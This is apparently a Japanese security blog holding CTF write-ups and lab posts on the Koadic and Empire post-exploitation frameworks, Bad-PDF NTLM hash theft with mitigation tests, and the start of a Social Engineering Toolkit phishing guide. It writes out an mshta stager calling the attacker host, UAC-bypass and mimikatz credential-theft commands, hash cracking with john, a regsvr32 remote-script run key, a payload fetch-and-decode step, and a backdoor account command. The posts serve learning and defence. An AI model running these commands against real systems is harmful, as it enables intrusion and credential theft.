うさブロ

ぼっちなうさぎのセキュリティラボ

MNCTF2018 writeup

f:id:appleseedj073:20180712201142j:image

久しぶりのCTFに参加してきました。もう毎年恒例の行事になりつつあるMACNICAさんのMNCTF!

今年は、昨年までと違って気が楽!だって、変に勝ちを意識しなくて良いからw (まぁ、意識していても勝っていた訳じゃないですけどねw)今日は、問題を解く事を楽しんで、夜の懇親会で美味しいお酒を飲む!そんな気持ちで参加しました。(そのせいで、あとで痛い目を見ることになるけど…。)

戦績は振るわなかったけど、今はとっても清々しい(きよきよしい)気持ちです!

 

今回は、過去の設問とは雰囲気が変わって、本当にインシデントに対応している様な短編ストーリー仕立てで面白かった!やっぱり、他のCTFに比べると実務よりで面白いと思います。あと、今年は全体的にマルウェアの解析を解析するところから導入していく問題が多かったと思います。これは、実際の現場でメール等で着弾したり感染してしまってからインシデントレスポンスに当たることからなのかな?と勝手な解釈しつた問題を解いてました。

 

今回の問題は… 

f:id:appleseedj073:20180712235323p:plain

 

練習問題

いつも通りの点呼問題

 

新人奮闘Ⅰ

マルウェアのSHA-256を答える問題

shasum -a 256 AD_OptimizationTool.exe f24f5629be2e0f821adb36fe4d47407937f5a318bf96ae3655b628f833040f29 

 

新人奮闘Ⅱ

マルウェアの解析レポートを作っていく問題。指定されたサイトで穴埋め。

f:id:appleseedj073:20180712212921p:plain

入力する項目は

 

Windowsマシンをしっかりと仕上げて来なかったことがここにきて災いしてツールがないことに苦戦w

仕方ないから検体をそのままVirusTotalへ投げてみた!そしたら既に誰かが投げてした様子w そこから必要な情報を入手できた。

f:id:appleseedj073:20180712213822p:plain

f:id:appleseedj073:20180712213847p:plain

f:id:appleseedj073:20180712213900p:plain

 

新人奮闘Ⅲ

次は、このマルウェアを実行した時に実行されるコマンドを答える問題。これは何も考えないでstringsコマンドに投げたらコマンドが見えた。

net user /add /domain vpnadmin P@ssw0rD1!

 

新人奮闘Ⅳ

次の問題はフォレンジックということで、マルウェアVPNに接続しているらしいのでログを調査して接続した時間を答えるというもの。

ちなみに前の問題で、net userコマンドを使ってvpnadminというユーザーを作成しているのがわかっているので、指定されているログファイルからvpnadminを検索してみる。

f:id:appleseedj073:20180712215227p:plain

 

新人奮闘Ⅴ

先ほどのログから判明したIPアドレスから攻撃元の国を答える問題。

深読みしすぎて「IPアドレス ロケーション」で検索して出てきたサイト

www.iputilities.net

ここにIPアドレス「27.117.128.1」を入力したら

f:id:appleseedj073:20180712215752p:plain

ということで、大韓民国(なんでか正式名称w)と入力

新人奮闘シリーズはこれにて終了。マルウェアの解析から攻撃元の特定までと面白いシナリオだと思った。

 

大量不正

大量のマルウェアの中から類似性のあるもの見つけて答える問題。指定されたファイルをダウンロードして解凍すると中には100個のファイルが・・・。とりあえず、ハッシュ値を求めてソートしたけど一致するものなんてない。多分、ファジーハッシュを出して比較するpythonを書かないとダメなんだろうなぁ(毎回MNCTFではpythonを即興で組み上げる問題があるから)と、いうことでこれは無理と判断してスルー。しかし、午後の解説を聞くとssdeepコマンドで簡単に出せるらしいw

でも、macだとインストールしないとダメだから準備不足の自分は結局解けなかった事は揺るがないwww

とりあえずインストールして検証してみると・・・

ssdeep -bcdr *

"sample68.bin","sample1.bin",99

内容的には「sample68.bin」と「sample1.bin」が99%の類似性があるという事らしい。

 

種類特定

やっと出てきたネットワーク問題。pcapファイルを解析してマルウェアの名前を答える問題。MNCTFでpcapファイル問題が出た時は、とりあえずwebに投げる!という独自理論のもとPaketTotalにファイルを投げるw

すると・・・

f:id:appleseedj073:20180712221541p:plain

ここで問題がw

マルウェアの名前を「Ursnif」と何度解答しても不正解(T ^ T)

結構な時間をロスしてしまい諦めて午後の解説を待つことに。そしたら午後の解説で驚愕の新事実が!!解答がスペルミスしていたようでしたw でも、この「Ursnif」には別名が「GOZI」らしく正解していた人はそっちを答えてみた様子。別名を調べられなかった自分のミス。

 

標的攻撃Ⅰ

今度は標的攻撃シリーズw フィッシングメールに添付されたエクセルファイルを解析する問題。このファイルは、サンドボックスでは解析できなくて特定のユーザでのみ起動する仕掛けがあるという。そこで、その標的となったユーザを調べる。

ここで大問題!私の解析用WindowsにはOfficeが入っていないwww

エクセルはせいぜいログファイルとかでしか使われないし、macにNumber入ってるし何とかなると思っていたらExcelのmacroっぽい。とりあえずテンパりながOpenOfficeをダウンロードしてインストール。何とか開くと

f:id:appleseedj073:20180712222830p:plain

このマクロは、エクセルの使用者名とエクセルの表中のC列の値を比較して名前が値に含まれているならマクロの実行が行われるようだった。エクセルの表からC列を確認してみると当初C列は非表示になっていた。これを表示させて値を確認すると以下の名前が出てきた。この名前のどれかを答える。

  • Yasu Kobayashi
  • Take Teshigawara
  • Soichi Yamamoto
  • Tada Okuno
  • Yoshi Hatakeyama
  • Sho Shinogi

ちなみに何も考えずに「勅使河原」とか「Teshigawara」と入力したのは内緒ですw

 

標的攻撃Ⅱ

次は攻撃が発動した際に発生するHTTPSの通信のURLを答える問題。これは、先ほどのマクロの中に書かれていたのでそれを答える。

https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert

 

標的攻撃Ⅲ

通信を終えると、別のファイルが生成され、そこから2次ファイルが生成されるので、そのファイルのSHA256を答える。何度か、マクロを書き換えて実行させようとするも慣れないOpenOfficeもありうまく動作せず時間ばかり食い断念。

マクロを動かせないので、マクロと同じように動作させるようにしてみる。

マクロはURLからファイルをGETしてcert.pemとして保存。certutilコマンドでcert.pemをデコードしてcert.exeとして保存しているので、まずはcurl コマンドでgetしてファイル名「cert.pem」にして保存。

curl -X GET https://gist.githubusercontent.com/Sh1n0g1/3a240ce15fe7f26263ddf1877e5acc38/raw/d1d74601e5f4c94c958130accb16add9bb16e33d/cert > cert.pem

このファイルをWindowsに移動させて

certutil -decode cert.pem cert.exe

これでマクロと同じものが出来上がってあとはSHA256を計算すればOK

shasum -a 256 cert.exe c4f069d079330cd46e51f9469c27015ed34c6371481df83a323bc098f3b53382

午後の解説前に試してみたらこの値が出た。競技中は何かが違っていたみたいでこの値じゃなかったw

 

標的攻撃Ⅳ

前の設問でできた2次ファイルを実行すると発生するHTTPSの通信先のURLを解答する。これも、解説前に出来上がったファイルを実行したらそれっぽいのがすぐに見つかった。

f:id:appleseedj073:20180712230034p:plain

https://shinobotps1.com/download_get.php

 

穴埋防御

不審なファイルを解析し、Yaraルールを完成させる問題。競技中は「Yaraルール」の文字が見えたので敬遠したw

解説を聞いたので試してみる。まずYaraルールを確認してみると

f:id:appleseedj073:20180712230629p:plain

必要な情報はMutexらしい。次に不審なファイルを確認すると何やら難読化されてる感じ。これはBase64エンコードされているのでこれをデコードする。この時に活用できると紹介されたのが「CyberChef」というサイト。このサイトは、いろんな形へのエンコードやデコードが出来る優れもの。

gchq.github.io

このサイトで難読化されているデータをデコードする。

デコードするとpowershellスクリプトが現れる。そしてこのスクリプトの中にもまたbase64エンコードして、XORもしているデータが見つけられる。

f:id:appleseedj073:20180712231750p:plain

まず、このbase64エンコードされている部分を切り取りCyberChefに貼り付けてデコード

f:id:appleseedj073:20180712231949p:plain

これをXORすると

f:id:appleseedj073:20180712232058p:plain

MZで始まるようになったのでこれをexeファイルとして保存して解析する。

IDAで開き確認すると

f:id:appleseedj073:20180712233036p:plain

Mutexは「1q2w3e4r0o9i8u7y6t」になる。これは、完全に検討つかなかったので勉強になった。

 

盗聴情報

最後の問題は、「XOR(シングルバイトキー)→ Base64 → ROT13」というアルゴリズムで暗号化されたファイルを復号して答える問題。アルゴリズムがわかっているので逆順でやればいいんだろうと予想し、多分pythonで組むのかな?と思った時点で諦めていたwww

実はこれもCyberChefで解けると聞いて驚いた。

ファイルをCyberChefにアップロードして、ROT13、Base64と復号してXORはシングルバイトキーということなのでBrute Forceを使うという。

f:id:appleseedj073:20180712233905p:plain

そうするとキーが15の時に「PNG」という文字とpngファイルに含まれる「IHDR」という文字が。ということで15でXORして拡張子をpngにして保存する。

f:id:appleseedj073:20180712234243p:plain

 

まとめ

今回のMNCTFは、冒頭で述べたとおり今までと違いシナリオ構成になっていて解いていくのが楽しかった。何よりもワクワクした。競技での成績は悪かったけど今回は過去最高の満足度でした。

そして、CyberChefというサイトの便利さが半端ないということを学べて良かった。

f:id:appleseedj073:20180712235027p:plain

作戦は奇を以って良しとすべし MNCTF2017 WriteUp

f:id:appleseedj073:20170714234724j:plain

作戦は奇を以って良しとすべし

凡そ戦いは、正を以て合い、奇を以て勝つ。故に善く奇を出だす者は、窮まり無きこと天地の如く、竭きざること江河の如し。終わりて復た始まるは、四時是れこれなり。死して更生ずるは日月これなり。

さてMNCTFの時期がやってきましたよ。2015年の第一回から参加して今回で三回目!

そろそろ上位に食い込みたい!w

 

だから今年は、一丁前にMNCTFの対策?を練ってみました。

  1. 使用するツール類は、他のCTFと違って無料のツールでなんとかなる!
  2. 多分、今年もクロスワードが出る。
  3. 去年よりテクニカル系の問題が増えるかもしれない。個人的な感覚として2015年がツールを駆使する系、2016年はブラウザーだけでもなんとか頑張れる系と思いましたw(勝手な憶測ですが、2015年が難しかったから、2016年は簡単にしたのかな?とも考えてました)
  4. キーワードは「てしがわら君」!
  5. 問題傾向は、実際のインシデントに則った内容になる。
  6. 過去のWriteUpで紹介されたツールはインストールし、紹介されたWebサイトはブックマークする。

と、妄想作戦会議を経て今年も参加してきました、Macnica Networks DAY 2017!
そしてMNCTF2017に!

f:id:appleseedj073:20170708081634p:plain

 

今年は、CTFの後になっと解説してくれるという至れり尽くせり感あるプログラムw

f:id:appleseedj073:20170708081957p:plain

だから、WriteUpとか書いちゃうと権利関係でやばいかな?って思っていましたよ。でも、そんなことはなかったようなので、毎年恒例になった「覚え書き」と「反省」を兼ねた無駄な手順満載のWriteUpを書いておこうと思います。説明聞いたけどわからない部分もあったので実際に解けた問題と、あと少しだった問題のみをまとめます。

 

今年の問題は以下のようなラインナップ

f:id:appleseedj073:20170708082533p:plain

 

1.練習問題

f:id:appleseedj073:20180707221703p:plain

 安定の点呼

 

2.昇進試験

 予想通りのクロスワード

f:id:appleseedj073:20180707221725p:plain

今回は、Linuxのコマンド!

f:id:appleseedj073:20180707222321p:plain

結構、知らないコマンドあった。

 

3.通信記録

予想通りのネットワーク問題。

「パケットキャプチャを解析し、突かれた脆弱性の名前を答えてください。」

本番では一生懸命、pcapファイルをwiresharkで展開して眺めて答えを見つけたけど実は、お馴染みのVirustotalに投げると・・・

f:id:appleseedj073:20180707223317p:plain

ここに問題のpcapを投げてスキャンすると

f:id:appleseedj073:20180707223543p:plain

WannaCryの通信だと検出してくれる。なんて便利なんだ!w

で、求められているのは突かれた脆弱性の名前なんで、WannaCryで使用された脆弱性といえば「EternalBlue」ということになる。

 

4.不審起動

 不審なレジストリが見つかり、不審なスクリプトが実行された。そのスクリプトの通信先のFQDNを答えるのが問題。

HKCU\Software\Microsoft\Windows\CurrentVersion\Run
"COM"="regsvr32 /s /n /u /i:https://pastebin.com/raw/8CUEUgix scrobj.dll"

とりあえず、レジストリの中にある「https://pastebin.com/raw/8CUEUgix」にアクセスしてみる。すると、やたら難読化されたJScriptが出てくる(なんか作問者の好みが垣間見えるw)ので、まずは難読化を解く。するとurlとかいう記述がある。

f:id:appleseedj073:20180707225448p:plain

この中のurlの部分をさらに変換

f:id:appleseedj073:20180707231206p:plain

すると「https://mtip.macnica.net」が出てくる。

 

5.脅迫文書

脅迫文のようなメールが来たという設定。そして、写真にアドレスが記載されたメモが。

f:id:appleseedj073:20180707231648p:plain

「.onion」というのが見えるので、Tor Browserでアクセスしてみる。

f:id:appleseedj073:20180707232051p:plain

パスワードを入力しろ的なサイトに接続される。ここで、メモに書いてあるパスワード「0b3y!!」を入力すると

f:id:appleseedj073:20180707232200p:plain

答えが表示される。

 

6.攻撃痕跡

フォレンジックスの問題。ログファイルと攻撃者が残したファイルがある。

攻撃者の残したファイルのなかにあからさまに怪しいファイル達がある。この中に「sqlite.ex_」があってどうみても怪しかったのでログファイルの中で検索してみる。

 

06/27/2017 21:11:57.763,13Kamakura,LOCAL SYSTEM,45632,53651,"""C:€Program Files (x86)€\Tencent€\RTXC€Plugins€bizmailclient€sqlite.exe"" a -m5 -hpFnckyou123 ""C:€Program Files (x86)€\Java\€jre7€\bin\€client\€jvm.dat"" c:\users\Administrator\Desktop\*.xlsx",8babc98395f0d8fc0968982237b1bc8f

1行ヒットする。このログを読んでみるとsqlite.exeを使ってエクセルファイルをjvm.datにしてるような感じに見える。

このjvm.datを調べてみると

f:id:appleseedj073:20180708003146p:plain

rarファイルらしい。拡張子をrarに変えて開こうとするとパスワードを求めてくる。

f:id:appleseedj073:20180708003327p:plain

パスワードなんて?と思ったらコマンドの中にそれっぽいのがあったの(「Fnckyou123」)で入力する。

f:id:appleseedj073:20180708003646p:plain

中に4つファイルがあり、問題は「盗まれたファイルの中で最も重要と思われるファイルの名前(拡張子なし)を答えてください。」なので「serverpassword」を答える。

 

7.賭博遊戯

これは、解けなかった。

Chromeデベロッパーツールを使ってを値を上手く改ざんして解くらしい。前回にも似たような問題があったのにできなかった。

 

8.宛先暗号

マルウェアの通信先FQDNを問われてる。与えられたものは、マルウェア本体と一緒にあったファイル、それにエンドポイントのログ。ヒントを元にログを検索してみる。

 

06/28/2017 12:38:32.910,TESHIGA-PC,tessy,svchost.exe,4128,svchost.exe abcd vm.dat,7cd491ed51b4e6da2ac468611f240621,2168

 

するとこんなログがあった。とりあえず現段階では、イマイチわからないので実際にこのマルウェアを動かしてみた。すると

f:id:appleseedj073:20180708005959p:plain

使い方的には svchost.exe rc4のカギ ファイル らしい。要するに「svchost.exe abcd vm.dat」これで外部と通信するようなのでやってみる。

wiresharkを起動しコマンドを指定通りに実行すると

f:id:appleseedj073:20180708011816p:plain

見事に通信発生!

その中に見慣れた通信先がw

f:id:appleseedj073:20180708011855p:plain

9.情報照合

解けなかった。APIを使ってハッシュを検索するようなんだが、説明を聞いてもイマイチ理解できなかった。解けた人は、その場でプログラムを書いていたようなことを聞いた。

 

10.脆弱会話

 これも解けなかった。バッファーオーバーフローを起こさせるexploitを完成させるらしい。

 

まとめ

今回もさんざん偉そうに作戦を練ったもののいつも通りの成績で終了。来年に繋げられるかな?って感じでした。でも、他のCTFに比べてもとても業務に直結してるスキルを問われるので毎回とても勉強になっている。来年もぜひ参加したい!

 

2018/07/08追記

このブログ、去年の今頃にまとめたようなんだけど何故かアップされずにいてビックリ。そろそろMNCTF2018だから自分で振り返ろうとしたら書いたはずのブログが見つからなくてかなり焦ったしw

とりあえずこのままお蔵入りするのも寂しいから少し手直してアップします。

とある親父の侵入実験【Koadicを使ってみた】

f:id:appleseedj073:20180311215026p:plain

4月の濱せっくで、Empireについて話させてもらった時に、Empireと同じ様なツールで「Koadic」というものがあることを聞いたので、Empireとの比較をしつつ試しに使ってみることにした。

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・環境

  • 攻撃PC(Kali Linux)192.168.136.202
  • やられPC(Windows)192.168.136.145

2・準備

Githubから、Koadicをダウンロードする。

github.com

README.mdの記載通りにインストールする。

 git clone https://github.com/zerosum0x0/koadic.git
 cd koadic
 pip install -r requirements.txt

f:id:appleseedj073:20180516111004p:plain

3・起動

Koadicを起動する。

 ./koadic

f:id:appleseedj073:20180516111329p:plain

tabの補完機能で、現在利用できるコマンドを確認する事ができる。

「info」コマンドで現在の設定状況を確認できる。

f:id:appleseedj073:20180516112134p:plain

 次にEmpireならリスナーモードに移行するところだが、Koadicでは既にリスナー状態?な様子。よって次のステップとしてStagerを作成して対象のPCに送りつけることになる。(Empireではusestagerコマンドを使用して作成していた。このKoadicでは、起動当初からusestagerコマンドを使用した状態である。)

先ほどのinfoコマンドの実行結果で判明している様に最低限必要なホストのIPアドレスとポート番号は指定済なのでこのまま「run」コマンドを実行する。

f:id:appleseedj073:20180516133529p:plain

 この最後に書かれた「mshta〜」の1行がKoadicに接続する為のコマンドとなる。

 mshta http://192.168.136.202:9999/iSZmj

このコマンドを対象PC上のコマンドプロンプト上で実行すると攻撃PC側に接続が行われる。

f:id:appleseedj073:20180516134015p:plain

ここで「Zombie」と表記されているのは、Empireのagentと同じ様にコントロール配下に置いたPCを指している。最初のzombieということでID 0が割り振られている。

f:id:appleseedj073:20180516134353p:plain

ここでzombieコマンドとIDを指定することで、対象PCの情報を表示できる。

 zombie 0

f:id:appleseedj073:20180516150752p:plain

4・展開

KoadicにもEmpireのmoduleと同じ様な機能がimplantとして存在する。その中にEmpireと同じ様に権限昇格を実行する機能があるのでそれを使用する。

  use implant/elevate/bypassuac_eventvwr

f:id:appleseedj073:20180516203846p:plain

infoコマンドで入力する必要のなる項目を確認できる。ここで、PAYLOADを設定する必要があるので、0を設定する。

 set PAYLOAD 0

入力したのちにrunコマンドで実行

f:id:appleseedj073:20180516212448p:plain

権限昇格が成功すると管理者権限での新しい接続が作成される。

zombiesコマンドを実行すると新しく作成された接続IDの横にEmpireと同じ様に「*」についているのが確認できる。

f:id:appleseedj073:20180516212831p:plain

このIDの詳細をzombiesコマンドで確認すると

f:id:appleseedj073:20180516214843p:plain

Elevatedの項目が、「Yes!」になっている。ちなみに権限昇格前のID 0は「No」となっている。

次に権限昇格を完了したので、対象PCのパスワード奪取を試みてみる。Empireでも使ったMimikazのimplantがあるので使用。

f:id:appleseedj073:20180516221200p:plain

 use implant/inject/mimikatz_dotnet2js

必要事項は既に入力されているのでこのまま実行。

f:id:appleseedj073:20180516221413p:plain

mimikazが実行されて、問題なくユーザ名とパスワードが奪取できた。

5・対応

このkoadicは対象PC側で、mshta.exeを実行しないといけない。よって攻撃者は、これを実現するために別の脆弱性を利用しコマンド実行を実現してくる事が考えられる。したがってこの攻撃を成功させない最も簡単な処置としては、利用しているシステムに対する脆弱性の対処が挙げられると思う。

また、トレンドマイクロさんのブログによると、「Koadic は JScript のコードを平文で送信するため、トラフィックを検出することが可能」と書かれている。

f:id:appleseedj073:20180516225858p:plain

実際に通信パケットをキャプチャーしてみると確かにJScriptのやりとりを確認できるので、言われている様に検出は可能。

f:id:appleseedj073:20180516230215p:plain

他のコマンドに関しても上図の様に平文でやりとりされている。

 

blog.trendmicro.co.jp

 

※mshta.exe:Windows標準搭載のプロセス。C:WindowsSystem32にあり、HTA (または HTMLS) タイプのファイルを開く役割を持っている。HTAとは、「HTML Application」の略で、Internet Explorer 5以降に利用可能な技術で、HTML言語などを利用して実行ファイルを作成する事が可能。最近だとワンクリックウェアなどに利用された。

6・まとめ

今回検証したkoadicは、昨年検証していたEmpireと同じくらいに攻撃への転用が進んでいる。(既に攻撃キャンペーンでの利用がある)

今後は攻撃者の立場で考え、この手法を活用したペネトレーションテストを確立していくことが、本攻撃キャンペーンへの対応につなげられるのではと個人的に推察する。

とある親父の侵入実験【Bad-PDFを防いでみる】

f:id:appleseedj073:20180311215026p:plain

結構、反響が良かったのと、ベンダーから公開されている対応策を検証していたらそれなりの量になってきたので、前回の記事への追記ではなくて新しく書き起こしてみた。

そもそものネタは前回のコレ

 

ra66itblog.hateblo.jp

 

この時に、ベンダーの対策について処置対策についてご指摘を受け、公開後に追記させてもらったのだが、その際の検証状況については載せていなかった。

1・環境

  • 攻撃PC(Kali Linux)192.168.55.128
  • やられPC(Windows 10 pro)192.168.55.131

2・準備

Microsoftが公開した「Windows NTLM SSO認証」対策は「最新のOS」を「最新の状態」にしていることを推奨しているというので、やられPCとして準備していたWindows7は利用できなくなった。そこでWindows10を準備しとりあえずアップデートして最新の状態にした。(マイクロソフトWindows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています)

3・検証

前提条件:攻撃側のKali LinuxでBad-PDFを実行し悪意のあるPDFを作成しWindows側へ渡している状態で始める。

Microsoftで公開された対処は、レジストリの以下の場所に「EnterpriseAccountSSO」というDWORD32キーを追加する。

 HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Lsa\MSV1_0

まずは、このキーを追加しない状態でPDFを開くと

f:id:appleseedj073:20180517220316p:plain

異常なくダダ漏れになる。

次にレジストリにキーを追加する。

f:id:appleseedj073:20180517221003p:plain

ここに入れる値は公式によると

  • 2 - 常に SSO を許可します(これが既定の状態です)。
  • 1 - リソースがパブリックの場合は SSO を拒否します。リソースがプライベートまたはエンタープライズの場合は許可します。リソースが指定されていない場合は、SSO を許可します。
  • 0 - リソースがパブリックの場合は SSO を拒否します。リソースがプライベートまたはエンタープライズの場合は許可します。リソースが指定されていない場合は、SSO を拒否します。

 

まずリソースがパブリックな場合や、指定されていない場合は拒否する「0」にすると

f:id:appleseedj073:20180517221430p:plain

これまでと違ってNTLMの情報が流れてこない。

次に値を「2」にすると、SSOを許可する通常の状態なので当然、ダダ漏れ

f:id:appleseedj073:20180517221414p:plain

Microsoftの推奨する「最新のOS」で「最新の状態」にして、「新しい動作(レジストリへの書き込み)」という処置をした状態ならば対策できることが検証できた。

 

次にせっかくなのでFoxitについても検証してみた。

ベンダーの発表では9.1のリリースで対応したというのでそれ以前のバージョンと9.1で比較してみた。

まずは8.0.2

f:id:appleseedj073:20180517225907p:plain

攻撃側に一切の反応がない・・・。当然レジストリのキーは削除している。不安になったからAdobe Readerで起動したら異常なく漏れてきた。でも、Foxit 8.0.2 反応なし。

次は、がっつりダウングレードして6.0.5

f:id:appleseedj073:20180517230105p:plain

やはり変化なし。

念のため、ベンダーから保証されている9.1

f:id:appleseedj073:20180517230423p:plain

当然動きはない。

自分の中では9.1以前のバージョンで開くと漏れ出てくれるものだと仮定して検証していたのでかなり肩透かしを食らった気分である。もしかすると、レジストリのキーは削除してあるが、Windowsを最新の状態にしているのが原因なのか?とも疑い始めてもう何が正しいのかわからなくなってしまった。結果としてFoxitに関しては、私の環境ではNTLMの情報を盗み出すことはできなかった。

4・まとめ

Foxitに関して正確な情報を見出せなかったが、とりあえずAdobeは公表通り対応はしていない。しかし、Windows側で対応している。しかし、Windows側の対応は、最新のものだけで古いバージョンに関しては対応しない。

 

とある親父の侵入実験【Bad-PDFを使ってみた】

f:id:appleseedj073:20180311215026p:plain

2018年のGW前半に「Bad-PDF」というツールが公開されていたので、どんなものか試しに使ってみた。事の発端は、4月29日のこのツイート

 最近公開された脆弱性を利用してNTLMハッシュを盗み出す悪意のあるPDFファイルを作れるようのことを言ってる。実際にどんなものか検証した。

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・環境

  • 攻撃PC(Kali Linux) 192.168.55.128
  • やられPC(Windows7) 192.168.55.130

2・準備

Githubより「Bad-PDF」をダウンロードする。

github.com

次にbadpdf.pyに実行権を付与する。面倒だからchmod 777で処置w

 chmod 777 badpdf.py

f:id:appleseedj073:20180516002853p:plain

3・実行

実行権を付与したbadpdf.pyを実行する。

 ./badpdf.py

f:id:appleseedj073:20180516003147p:plain

必要な項目を入力していく

 Please enter responder path (Default /usr/bin/responder): 
 /usr/sbin/responder ←responderのパスを指定
 Please enter Bad-PDF host IP: 
 192.168.55.128 ←自分のIPアドレス
 Please enter output file name: 
 sample.pdf ←作成するPDFファイルの名前
 Please enter the interface name to listen(Default eth0): 
 eth0 ←待ち受けるインターフェース

f:id:appleseedj073:20180516003828p:plain

必要項目への入力が終わるとresponderが起動し待ち受け状態になる

f:id:appleseedj073:20180516004103p:plain

ちなみに先ほど項目を指定して作成したPDFファイルは、badpdf.pyを起動した場所と同じところに生成されている。

f:id:appleseedj073:20180516004259p:plain

このPDFファイルを「やられPC」側に配置し実行すると・・・

f:id:appleseedj073:20180516004641p:plain

見事にやられPCのNTLMハッシュが流れてきた!

次に、このハッシュ部分をテキストファイル(今回はファイル名:hash)として保存する。

f:id:appleseedj073:20180516005137p:plain

作成したハッシュファイルをjohnで解析する。

 john hash

f:id:appleseedj073:20180516005552p:plain

ユーザ名:Victim

パスワード:pass1234

簡単なパスワード使っていたせいもあるけどわずか1分程度でNTLMハッシュが解析する事ができた。

4・まとめ

このBad-PDFを使ってユーザ情報を盗み出すには、そもそも対象と同じネットワークに接続していないと難しそう。しかし、長期的な攻撃キャンペーンなどでは、もしかすると悪用されてしまう可能性もあるのかな?と考える。

5・おまけ

みんなが大好きvirustotalの結果を貼っておくと、このブログを書いた今日(2018年5月16日)現在、検出率は0/57で悪意のあるものとは判断されていません。

f:id:appleseedj073:20180516010907p:plain

追加

2018/05/17 0:10追加

対策について触れていないというご指導を賜りましたので、教えていただいた情報を元にできる範囲内で検証してみました。(どうしても攻撃手法にばかり目がいって対策とかの守る側のスタンスを疎かにしてしまってます^^;)

 まず、脆弱性への対応はFoxitは9.1で対応。しかし、adobeは以下の理由から対応しない様です。以下、引用

Adobe responded as shown below, without assigning any CVE or fix for the vulnerability:

Thank you for checking in on this case.  Microsoft issued an optional security enhancement [0] late last year that provides customers with the ability to disable NTLM SSO authentication as a method for public resources.  With this mitigation available to customers, we are not planning to make changes in Acrobat.“

全文についてはこちら

research.checkpoint.com

要するに、マイクロソフト側で「Windows NTLM SSO 認証の変更」という形でNTLM SSO認証を無効にすることができるので、Acrobatでは処置しませんということらしい。

では、そのマイクロソフトの対応とは何なのかというと

https://portal.msrc.microsoft.com/ja-jp/security-guidance/advisory/ADV170014

Windows NTLM SSO認証のセキュリティ強化をリリースし、この新しいセキュリティ強化を展開した場合、攻撃者は組織外の悪意のあるリソースにユーザーをリダイレクトして、NTLM 認証メッセージを取得することができなくなる。また、この設定にはレジストリの設定を変更する必要がある。

また、このアドバイザリでは以下の様にもいっている。

NTLM を使用するすべてのバージョンの Windows は、この種類の攻撃を受ける可能性があります。古いバージョンの Windows ファイアウォールには制限があるため、マイクロソフトWindows 10 および Server 2016 でのみこの新しい動作をリリースし、この新しい動作の使用について古いオペレーティング システムを除外しています。マイクロソフトは、最新の最も安全な製品にアップグレードすることをお勧めします。 

要するに最新のOSを最新の状態にアップグレードすることを推奨している様子。 

今後、マイクロソフトの対応がどの様にBad-PDFに対して有効なのかを検証し追記していく。

とある親父の侵入実験【Empire の使い方が変わってました】

f:id:appleseedj073:20180311215026p:plain

昨年あたりから何度かご指摘を受けていた件として、Empireの使い方がバージョン2以降変わっていたので、前回のブログ記事からの変更点を簡単にまとめてみる。

 

ra66itblog.hateblo.jp

 

 

ここで取り上げる検証等を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

 

1・Empire起動

 ./empire

Empireを起動して、従来の手順通りにリスナーモードへ移行する。

 listeners

f:id:appleseedj073:20180515155910p:plain

2・リスナーモード

リスナーモードになったので、以前と同じ様に「info」「execute」と入力してみるも望んだ結果は表示されない。ここが、バージョン2になっての大きな変更点。

f:id:appleseedj073:20180515160311p:plain

現状で、どんなコマンドが利用できるのかはtabを二回押すと補完機能で、利用可能なコマンドの候補が表示される。

f:id:appleseedj073:20180515161009p:plain

この中にある「uselistener」コマンドで、リスナーを作る事ができる。

f:id:appleseedj073:20180515161733p:plain

作成できるリスナーの種類についてもuselistener入力後にtabで補完すると候補が表示される。バージョン1系では、デフォルトでhttpになっていた。

 uselistener http

f:id:appleseedj073:20180515162957p:plain

ここで再度、tabの補完機能を使うと「execute」コマンドがあるのが確認できるのでexecuteを実行する。

 execute

f:id:appleseedj073:20180515163611p:plain

 すると、画面上にリスナーの起動が成功した旨のメッセージが表示される。この状態でlistenersと入力する事で現在起動しているリスナーを確認できる。

3・launcherの実行

リスナーが動き始めたら次は、リスナーへ接続するためのlauncherを作成する。以前と同様にlauncherと入力するとコマンドの後の引数についてメッセージが表示される。

f:id:appleseedj073:20180515164527p:plain

バージョン1では、launcher listenerNameで作成できていたが、バージョン2からは、launcherを作成する事ができる言語がPowerShellだけでなく、Pythonも加わったので言語のしても必要になった。

f:id:appleseedj073:20180515165043p:plain

バージョン2からの様式に合わせてlauncher 使用言語 リスナー名で入力する。今回は、今まで通りのpowershellを使用する。

 launcher powershell http

f:id:appleseedj073:20180515165525p:plain

これもコピーしてWindows側で実行すれば、バージョン1の時と同じ様にリスナーに接続される。接続してからの操作に関しては大きな変更はない。

よって今回は、Windows側からの接続に関しては省略します。

4・まとめ

前回から操作が大きく変更されたが、それも全て機能が拡張されたことによるもの。より一層、Empireが便利なツールになったと思えば問題なしw

とある親父の侵入実験【Social Engineering Toolkit】

f:id:appleseedj073:20180311215026p:plain

未だによく耳にする「〇〇を装ってIDとパスワードを盗む」手口。これ、経営層とか上の立場の人が思っているほど見破るの簡単じゃないんですよね。サイトなんて見た目全く同じだし。これに引っかかる人に対して「リテラシーが〜」「危機管理が〜」って唱える人に是非今回の検証結果を見てもらいたい。

今回検証に使用するのは「Social Engineering Toolkit」というツール。読んで字の如くソーシャル・エンジニアリングに使えるツールで、情報を搾取するためのツールがぎっしり詰まっている。また、簡単な設定でペネトレーションテストも実施できる。

この「Social Engineering Toolkit」を使用して、勉強会などの登録でおなじみの「connpass」さんのログインページを複製したサイトを作成し、そこへ被害者となるユーザを誘導しログインを施行させた場合の挙動を検証してみる。

 

なお、ここで取り上げる検証を実施する際は、全て自分の管理している環境で検証してください。使い方、実施場所を誤ると法に触れて罰せられます。

 

環境

Macbook Pro (192.168.136.1) Host

Kali Linux (192.168.136.194) Guest

 

準備

Kali Linuxでコンソールを起動して「setoolkit」と入力して「Social Engineering Toolkit」を起動する。

f:id:appleseedj073:20180311221548p:plain

こんな画面が流れた後に

f:id:appleseedj073:20180311221628p:plain

メニューが出るので、Social-Engineering Attacks を実施するので「1」を入力

f:id:appleseedj073:20180311221858p:plain

次にWebsite Attack Vectors を選択するので「2」を入力

f:id:appleseedj073:20180311222249p:plain

攻撃方法を聞いてくるのでCredential Harvester Attack Methodの「3」を入力

